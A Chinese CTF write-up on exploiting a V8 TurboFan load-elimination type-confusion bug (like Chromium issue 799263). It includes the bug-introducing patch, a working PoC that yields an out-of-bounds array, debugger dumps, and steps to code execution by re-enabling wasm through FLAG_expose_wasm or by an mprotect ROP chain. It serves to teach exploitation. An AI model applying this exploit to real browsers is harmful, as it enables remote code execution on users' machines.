题目环境: ubuntu 20.04
启动命令:
./chrome --js-flags=--noexpose_wasm --no-sandbox
--js-flags=--noexpose_wasm 用于关闭wasm,意味着不能使用wasm来填写shellcode进行利用,但可以通过漏洞利用一进行绕过
--no-sandbox 关闭沙箱
题目下载地址:
v8各个类型的转化
PACKED_SMI_ELEMENTS:小整数,又称 Smi。
PACKED_DOUBLE_ELEMENTS: 双精度浮点数,浮点数和不能表示为 Smi 的整数。
PACKED_ELEMENTS:常规元素,不能表示为 Smi 或双精度的值。
转化关系如下:
元素种类转换只能从一个方向进行:从特定的(例如 PACKED_SMI_ELEMENTS)到更一般的(例如 PACKED_ELEMENTS)。例如,一旦数组被标记为 PACKED_ELEMENTS,它就不能回到 PACKED_DOUBLE_ELEMENTS。
demo 代码:
const array = [1, 2, 3]; // elements kind: PACKED_SMI_ELEMENTS array.push(4.56); // elements kind: PACKED_DOUBLE_ELEMENTS array.push('x'); // elements kind: PACKED_ELEMENTS
PACKED 转化到 HOLEY类型:
demo代码:
const array = [1, 2, 3, 4.56, 'x']; // elements kind: PACKED_ELEMENTS array.length; // 5 array[9] = 1; // array[5] until array[8] are now holes // elements kind: HOLEY_ELEMENTS
即将密集数组转化到稀疏数组。
该题目的漏洞和Issue 799263一样,引入漏洞的补丁为:
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc index ff79da8c86..8effdd6e15 100644 --- a/src/compiler/load-elimination.cc +++ b/src/compiler/load-elimination.cc @@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) { if (object_maps.contains(ZoneHandleSet<Map>(source_map))) { object_maps.remove(source_map, zone()); object_maps.insert(target_map, zone()); - AliasStateInfo alias_info(state, object, source_map); - state = state->KillMaps(alias_info, zone()); + // AliasStateInfo alias_info(state, object, source_map); + // state = state->KillMaps(alias_info, zone()); state = state->SetMaps(object, object_maps, zone()); } } else { @@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) { if (state->LookupMaps(object, &object_maps)) { object_maps.insert(double_map, zone()); object_maps.insert(fast_map, zone()); - state = state->KillMaps(object, zone()); + // state = state->KillMaps(object, zone()); state = state->SetMaps(object, object_maps, zone()); } // Kill the elements as well.
该补丁主要是将state = state->KillMaps(alias_info, zone()) 这行代码删除了,少了对alias 对象map 的消除。
state->KillMaps函数定义如下:
LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps( const AliasStateInfo& alias_info, Zone* zone) const { if (this->maps_) { AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone); // 本质上就是调用maps_的Kill函数 if (this->maps_ != that_maps) { AbstractState* that = zone->New<AbstractState>(*this); that->maps_ = that_maps; return that; // 如果不一样才返回一个新的 } } return this; } LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps( Node* object, Zone* zone) const { AliasStateInfo alias_info(this, object); return KillMaps(alias_info, zone); }
LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill( const AliasStateInfo& alias_info, Zone* zone) const { for (auto pair : this->info_for_node_) { if (alias_info.MayAlias(pair.first)) { // if one of nodes may alias AbstractMaps* that = zone->New<AbstractMaps>(zone); for (auto pair : this->info_for_node_) { if (!alias_info.MayAlias(pair.first)) that->info_for_node_.insert(pair); } // keep all except the ones that may alias return that; } } return this; }
MayAlias用于比较两个节点是否为同一个对象,如果是不同对象,就返回false,就会执行that->info_fornode.insert。
去除KillMaps会导致本应该没有map信息的一些node仍保留着信息,如ReduceCheckMaps函数,残留着map信息,maps.contains返回true,通过Replace错误地删除CheckMaps:
Reduction LoadElimination::ReduceCheckMaps(Node* node) { ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps(); Node* const object = NodeProperties::GetValueInput(node, 0); Node* const effect = NodeProperties::GetEffectInput(node); AbstractState const* state = node_states_.Get(effect); if (state == nullptr) return NoChange(); ZoneHandleSet<Map> object_maps; // 假如object_maps的Map信息并不完整,可能导致maps.contains错误地返回true if (state->LookupMaps(object, &object_maps)) { if (maps.contains(object_maps)) return Replace(effect); // TODO(turbofan): Compute the intersection. } state = state->SetMaps(object, maps, zone()); return UpdateState(node, state); }
节点a和b可能是同一对象,在节点a发生优化,类型转化后,b节点由于没有KillMaps操作,删除了节点前的CheckMaps,导致访问b时是按照原先的类型来访问优化后的类型,形成类型混淆漏洞。
Poc代码如下:
function foo(a, b) { let tmp = {}; b[0] = 0; a.length; for(let i=0; i<a.length; i++){ a[i] = tmp; } let o = [1.1]; b[15] = 4.063e-320; return o; } let arr_addr_of = new Array(1); arr_addr_of[0] = 'a'; for(let i=0; i<10000; i++) { eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`); foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]); foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]); } var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]; var oob_array = foo(float_arr, float_arr, {}); console.log(oob_array.length);
poc 代码中a[0]=0 在运行的过程中会传入arr_addr_of <Map(HOLEY_ELEMENTS)> 和tmp_arr <Map(PACKED_DOUBLE_ELEMENTS)> ,在优化编译时,如果对象是浮点数组的话会将它转化成对象数组 <Map(HOLEY_ELEMENTS)>,导致在该代码处会生成TransitionElementsKind 结点,将对象a从浮点数组转换成对象数组。
所以漏洞触发后,数组b转化成了对象数组,而访问还是按照浮点数组类型来访问,而因为指针压缩的缘故,浮点数组转换成对象数组后,长度会缩短一半,这样计算偏移就能精准覆盖到后面数组o的长度,让数组o成为能够越界读写的数组。
触发漏洞后的调试结果:
DebugPrint: 0x8f5082af509: [JSArray] // 数组b - map: 0x08f508243975 <Map(HOLEY_ELEMENTS)> [FastProperties] // 已经从浮点数组类型变成对象数组类型 - prototype: 0x08f50820b529 <JSArray[0]> - elements: 0x08f5082af535 <FixedArray[23]> [HOLEY_ELEMENTS] - length: 23 - properties: 0x08f5080426dd <FixedArray[0]> { 0x8f508044649: [String] in ReadOnlySpace: #length: 0x08f508182159 <AccessorInfo> (const accessor descriptor) } - elements: 0x08f5082af535 <FixedArray[23]> { 0-22: 0x08f5082af519 <Object map = 0x8f5082422cd> } pwndbg> job 0x08f5082af535 0x8f5082af535: [FixedArray] - map: 0x08f5080424a5 <Map> - length: 23 0-22: 0x08f5082af519 <Object map = 0x8f5082422cd> pwndbg> x/10gx 0x08f5082af535-1 0x8f5082af534: 0x0000002e080424a5 0x082af519082af519 0x8f5082af544: 0x082af519082af519 0x082af519082af519 0x8f5082af554: 0x082af519082af519 0x082af519082af519 0x8f5082af564: 0x082af519082af519 0x082af519082af519 0x8f5082af574: 0x082af519082af519 0x082af519082af519 pwndbg> 0x8f5082af584: 0x082af519082af519 0x082af519082af519 0x8f5082af594: 0x08042a31082af519 0x9999999a00000002 0x8f5082af5a4: 0x082438fd3ff19999 0x082af599080426dd 0x8f5082af5b4: 0x0000000000002020* 0x0804232908042329 // <----b[15] 覆盖到o.length 0x8f5082af5c4: 0x08042a3108042329 0x9999999a00000002
利用漏洞可以越界读写,在越界读写后面布置float类型的数组,越界修改float数组的length,此时float数组就可以进行越界读写,根据data_buf的大小查找data_buf->backing_store,用于构造任意读写原语。常规思路是利用wasm,但本题通过--js-flags=--noexpose_wasm
关闭了wasm 功能,造成一定困难,下面是进行利用的两种思路:
首先通过obj.constructor->code->text_addr (Builtins_ArrayConstructor函数地址) 泄露v8 elf的基地址,然后通过IDA查找"FLAG_expose_wasm"特征字符,找到偏移,得到.data 区"FLAG_expose_wasm"变量的地址,将其修改成true,重新开启wasm功能,后面就可以利用wasm的常规思路:根据mark查找wasm_function对象的地址,根据wasm_function–>shared_info–>WasmExportedFunctionData(data)–>instance+0x68 找到rwx的区域,将shellcode写入该区域即可。
这里有以下几点需要注意:
(1)chrome运行时会起很多进程,并不是第一个进程就是运行v8,得通过查找才能确认v8 运行在哪个进程,具体查找方法可以通过逐个附加到进程中查看泄露地址的内容,能识别地址,说明该进程是。笔者环境中调试发现都在第三个进程,并且是在libv8.so中,所以后续找got表和rop偏移都需要在libv8.so查找。准确来说利用泄露的text_addr 计算出来的基址是libv8.so的基址。
查看chrome进程:
(2)chrome运行后会在后面新起几个进程中关闭FLAG_expose_wasm(置零),而之前调试的第三个进程libv8.so中查看FLAG_expose_wasm还是true。但这些影响不大,主要调试的时候突然困惑,我们需要做的就是将FLAG_expose_wasm变量地址上填1。
arb_write64(FLAG_expose_wasm, 0x1n);
开启wasm后,也只是修改该进程的FLAG_expose_wasm,另外开标签页运行exp时wasm还是关闭的(会重新起新进程,新进程中的FLAG_expose_wasm未被修改)。所以我们需要开始wasm后,在同一个标签页运行利用wasm的exp。
所以这里一共有两个exp html,一个开启wasm,一个利用wasm。
运行exp-FLAG_expose_wasm.html
同一个标签运行exp-FLAG_expose_wasm1.html
通过前面的漏洞利用我们可以libc的基址,按道理就可以找到free和system地址,将free替换成system,完成利用,但该题环境中的free函数是libcbase.so里的,释放数据时不是调用该free函数。因此这里学到一种方法,将shellcode放置在堆上的一段区域,然后通过在栈里布置rop链,用mprotect函数来修改这段区域属性为rwx,并跳转到该区域执行shellcode。
(1)获取栈地址
之前的利用可以泄露出libc的基址(通过泄露printf .got表上填充的printf函数地址,再减去libc中printf的偏移)(/usr/lib/x86_64-linux-gnu/libc-2.31.so),查找变量environ的偏移,得到environ变量的地址,上面保存着栈的地址。
(2)在栈里面布置rop链
add rsp 0x78; pop rbx; pop rbp; ret add rsp 0x78; pop rbx; pop rbp; ret …… ret ret …… ret pop rdi; ret shellcode_addr pop rsi; ret 0x1000n pop rdx; ret 0x7n mprotect_addr shellcode_addr
在前面布置add rsp 0x78; pop rbx; pop rbp; ret
是因为栈里有些数据在运行过程中会被覆盖,要跳过这些数据才能一直ret到执行mprotect函数,最后执行shellcode。
int mprotect(void *addr, size_t len, int prot);
这里有以下问题需要注意:
(1)在栈里布置的rop,调试时在第三个进程libv8.so 中并没有看到,发现chrome也是会起几个新进程来执行js,在第一个有--no-v8-untrusted-code-mitigations 标志的进程找到栈里的rop。也可以先开启wasm ,创建wasm 对象,然后查看哪个chrome 的进程里包含rwxp 内存,以此可以确定js 运行的进程是哪个。
查看chrome进程:
运行exp.html效果图:
https://mem2019.github.io/jekyll/update/2020/09/19/QWB-GooExec.html
https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/qwb2020-final-GOOexec_chromium
https://bugs.chromium.org/p/chromium/issues/detail?id=799263
漏洞利用一代码:
漏洞利用二代码: